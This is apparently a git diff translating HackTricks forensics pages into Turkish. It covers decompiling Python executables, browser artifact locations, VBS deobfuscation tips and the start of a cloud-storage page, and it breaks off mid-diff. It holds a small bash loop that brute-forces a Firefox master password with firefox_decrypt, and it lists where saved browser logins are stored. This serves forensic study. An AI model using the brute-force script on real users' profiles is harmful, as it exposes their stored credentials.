of the issue: +Karşılaşılan yaygın bir sorun, **unpy2exe veya pyinstxtractor ile açma işlemi sonucunda** oluşan eksik bir Python bayt kodu dosyasıdır; bu dosya daha sonra **eksik bir Python bayt kodu sürüm numarası nedeniyle uncompyle6 tarafından tanınmamaktadır**. Bunu çözmek için, gerekli Python bayt kodu sürüm numarasını ekleyen bir ön ek seçeneği eklenmiştir, bu da dekompile etme sürecini kolaylaştırır. +Sorunun örneği: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Python montajını analiz etme -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Eğer önceki adımları takip ederek python "orijinal" kodunu çıkaramadıysanız, o zaman **montajı** **çıkarma**yı deneyebilirsiniz (ama **çok açıklayıcı değil**, bu yüzden **orijinal kodu** **tekrar** çıkarmayı deneyin). [Burada](https://bits.theorem.co/protecting-a-python-codebase/) _.pyc_ ikili dosyasını **dağıtmak** için çok basit bir kod buldum (kod akışını anlamakta iyi şanslar). Eğer _.pyc_ python2'den ise, python2 kullanın: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python'dan Çalıştırılabilir Dosyaya -## Python to Executable +Başlamak için, payload'ların py2exe ve PyInstaller ile nasıl derlenebileceğini göstereceğiz. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exe kullanarak bir payload oluşturmak için: +1. [http://www.py2exe.org/](http://www.py2exe.org) adresinden py2exe paketini yükleyin. +2. Payload için (bu durumda, hello.py adını vereceğiz), Şekil 1'deki gibi bir betik kullanın. "bundle_files" seçeneği 1 değeri ile, Python yorumlayıcısı da dahil olmak üzere her şeyi tek bir exe dosyasında birleştirecektir. +3. Betik hazır olduğunda, “python setup.py py2exe” komutunu vereceğiz. Bu, Şekil 2'deki gibi çalıştırılabilir dosyayı oluşturacaktır. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstaller kullanarak bir payload oluşturmak için: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. PyInstaller'ı pip ile kurun (pip install pyinstaller). +2. Daha sonra “pyinstaller –onefile hello.py” komutunu vereceğiz (hatırlatma olarak ‘hello.py’ payload'ımızdır). Bu, her şeyi tek bir çalıştırılabilir dosyada birleştirecektir. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Referanslar - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..dada19a97 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Burada belirli dosya türleri ve/veya yazılımlar için ilginç ipuçları bulabilirsiniz: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..b00ebaef0 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,166 +1,156 @@ -# Browser Artifacts +# Tarayıcı Artifaktları {{#include ../../../banners/hacktricks-training.md}} -
+## Tarayıcı Artifaktları -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Tarayıcı artifaktları, web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir; bunlar arasında gezinme geçmişi, yer imleri ve önbellek verileri bulunur. Bu artifaktlar, işletim sistemi içinde belirli klasörlerde saklanır, konum ve isim açısından tarayıcılar arasında farklılık gösterir, ancak genellikle benzer veri türlerini depolar. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +En yaygın tarayıcı artifaktlarının bir özeti: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Geçmiş**: Kullanıcıların web sitelerine yaptığı ziyaretleri takip eder, kötü niyetli sitelere yapılan ziyaretleri belirlemek için faydalıdır. +- **Otomatik Tamamlama Verileri**: Sık yapılan aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar. +- **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler. +- **Uzantılar ve Eklentiler**: Kullanıcı tarafından yüklenen tarayıcı uzantıları veya eklentileri. +- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir. +- **Girişler**: Saklanan giriş kimlik bilgileri. +- **Favikonlar**: Web siteleriyle ilişkili simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi sağlar. +- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. +- **İndirmeler**: Tarayıcı aracılığıyla indirilen dosyaların kayıtları. +- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır. +- **Küçük Resimler**: Web sitelerinin önizleme resimleri. +- **Custom Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox, kullanıcı verilerini profiller içinde düzenler, bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Bu dizinlerdeki `profiles.ini` dosyası, kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen bir klasörde saklanır ve bu klasör `profiles.ini` ile aynı dizinde bulunur. Bir profilin klasörü eksikse, silinmiş olabilir. -Within each profile folder, you can find several important files: +Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir. +- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorguları kullanın. +- **bookmarkbackups**: Yer imlerinin yedeklerini içerir. +- **formhistory.sqlite**: Web form verilerini saklar. +- **handlers.json**: Protokol yöneticilerini yönetir. +- **persdict.dat**: Özel sözlük kelimeleri. +- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkında bilgi. +- **cookies.sqlite**: Çerez depolama, Windows'ta [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) ile denetlenebilir. +- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlar aracılığıyla erişilebilir. +- **favicons.sqlite**: Favikonları saklar. +- **prefs.js**: Kullanıcı ayarları ve tercihleri. +- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite içine entegre edilmiştir. +- **thumbnails**: Web sitesi küçük resimleri. +- **logins.json**: Şifrelenmiş giriş bilgileri. +- **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Ayrıca, tarayıcının anti-phishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerini arayarak güvenli gezinme özelliklerinin etkinleştirilip etkinleştirilmediğini belirleyebilirsiniz. +Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) kullanabilirsiniz.\ +Aşağıdaki betik ve çağrı ile bir şifre dosyasını zorlamak için belirtebilirsiniz: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome, işletim sistemine bağlı olarak kullanıcı profillerini belirli konumlarda saklar: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli veriler içerir: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URL'ler, indirmeler ve arama anahtar kelimelerini içerir. Windows'ta, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılarak geçmiş okunabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlar taşır. +- **Cookies**: Çerezleri saklar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur. +- **Cache**: Önbelleğe alınmış verileri tutar. İncelemek için Windows kullanıcıları [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) kullanabilir. +- **Bookmarks**: Kullanıcı yer imleri. +- **Web Data**: Form geçmişini içerir. +- **Favicons**: Web sitesi favicon'larını saklar. +- **Login Data**: Kullanıcı adları ve şifreler gibi giriş bilgilerini içerir. +- **Current Session**/**Current Tabs**: Mevcut tarayıcı oturumu ve açık sekmeler hakkında veriler. +- **Last Session**/**Last Tabs**: Chrome kapatılmadan önceki son oturumda aktif olan siteler hakkında bilgiler. +- **Extensions**: Tarayıcı uzantıları ve eklentileri için dizinler. +- **Thumbnails**: Web sitesi küçük resimlerini saklar. +- **Preferences**: Eklentiler, uzantılar, açılır pencereler, bildirimler ve daha fazlası için ayarları içeren bilgi açısından zengin bir dosya. +- **Browser’ın yerleşik anti-phishing**: Anti-phishing ve kötü amaçlı yazılım korumasının etkin olup olmadığını kontrol etmek için `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` komutunu çalıştırın. Çıktıda `{"enabled: true,"}` arayın. -## **SQLite DB Data Recovery** +## **SQLite DB Veri Kurtarma** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Önceki bölümlerde gözlemlediğiniz gibi, hem Chrome hem de Firefox verileri saklamak için **SQLite** veritabanları kullanır. **Silinmiş girişleri kurtarmak için** [**sqlparse**](https://github.com/padfoot999/sqlparse) **veya** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **aracını kullanmak mümkündür.** ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11, verilerini ve meta verilerini çeşitli konumlarda yönetir, bu da saklanan bilgilerin ve ilgili detayların kolay erişim ve yönetim için ayrılmasına yardımcı olur. -### Metadata Storage +### Meta Veri Saklama -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer için meta veriler `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` içinde saklanır (VX V01, V16 veya V24 olabilir). Bununla birlikte, `V01.log` dosyası `WebcacheVX.data` ile değişiklik zamanı tutarsızlıklarını gösterebilir, bu da `esentutl /r V01 /d` kullanarak onarım gerektirdiğini gösterir. Bu meta veriler, bir ESE veritabanında saklanır ve photorec ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) gibi araçlar kullanılarak kurtarılabilir ve incelenebilir. **Containers** tablosunda, her veri segmentinin saklandığı belirli tablolar veya konteynerler, diğer Microsoft araçları için önbellek detayları da dahil olmak üzere, belirlenebilir. -### Cache Inspection +### Önbellek İncelemesi -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) aracı, önbellek incelemesi için önbellek verisi çıkarım klasör konumunu gerektirir. Önbellek için meta veriler dosya adı, dizin, erişim sayısı, URL kaynağı ve önbellek oluşturma, erişim, değiştirme ve sona erme zamanlarını gösteren zaman damgalarını içerir. -### Cookies Management +### Çerez Yönetimi -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Çerezler [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, meta veriler isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detayları kapsar. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte bulunur. -### Download Details +### İndirme Detayları -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracılığıyla erişilebilir, belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri tutar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir. -### Browsing History +### Tarayıcı Geçmişi -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Tarayıcı geçmişini gözden geçirmek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Buradaki meta veriler, değişiklik ve erişim zamanlarını, ayrıca erişim sayısını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde yer alır. -### Typed URLs +### Yazılan URL'ler -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Yazılan URL'ler ve kullanım zamanları, `NTUSER.DAT` içinde `Software\Microsoft\InternetExplorer\TypedURLs` ve `Software\Microsoft\InternetExplorer\TypedURLsTime` altında saklanır, kullanıcının girdiği son 50 URL ve son giriş zamanlarını takip eder. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Çeşitli veri türleri için yollar: -- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` -- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` -- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` -- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` -- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` +- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` +- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` +- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` +- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits` ve `history_items` tablolarını içerir, URL'ler ve ziyaret zaman damgaları ile. Sorgulamak için `sqlite3` kullanın. +- **Downloads.plist**: İndirilen dosyalar hakkında bilgi. +- **Bookmarks.plist**: Yerleştirilen URL'leri saklar. +- **TopSites.plist**: En sık ziyaret edilen siteler. +- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın. +- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın. +- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın. +- **Browser’ın yerleşik anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı, özelliğin aktif olduğunu gösterir. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde bulunur ve geçmiş ile indirmeler için Chrome'un formatını paylaşır. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’ın yerleşik anti-phishing**: `Preferences` dosyasında `fraud_protection_enabled` değerinin `true` olarak ayarlandığını kontrol ederek doğrulayın, `grep` kullanarak. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Bu yollar ve komutlar, farklı web tarayıcıları tarafından saklanan tarayıcı verilerine erişim ve anlama açısından kritik öneme sahiptir. ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..cfc679bf9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Kötü niyetli bir VBS dosyasını hata ayıklamak/deobfuscate etmek için faydalı olabilecek bazı şeyler: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Yorumlar ```bash ' this is a comment ``` - ## Test - ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Bir dosyaya veri yazma ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..21b9fc1f3 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Yerel Bulut Depolama {{#include ../../../banners/hacktricks-training.md}} -
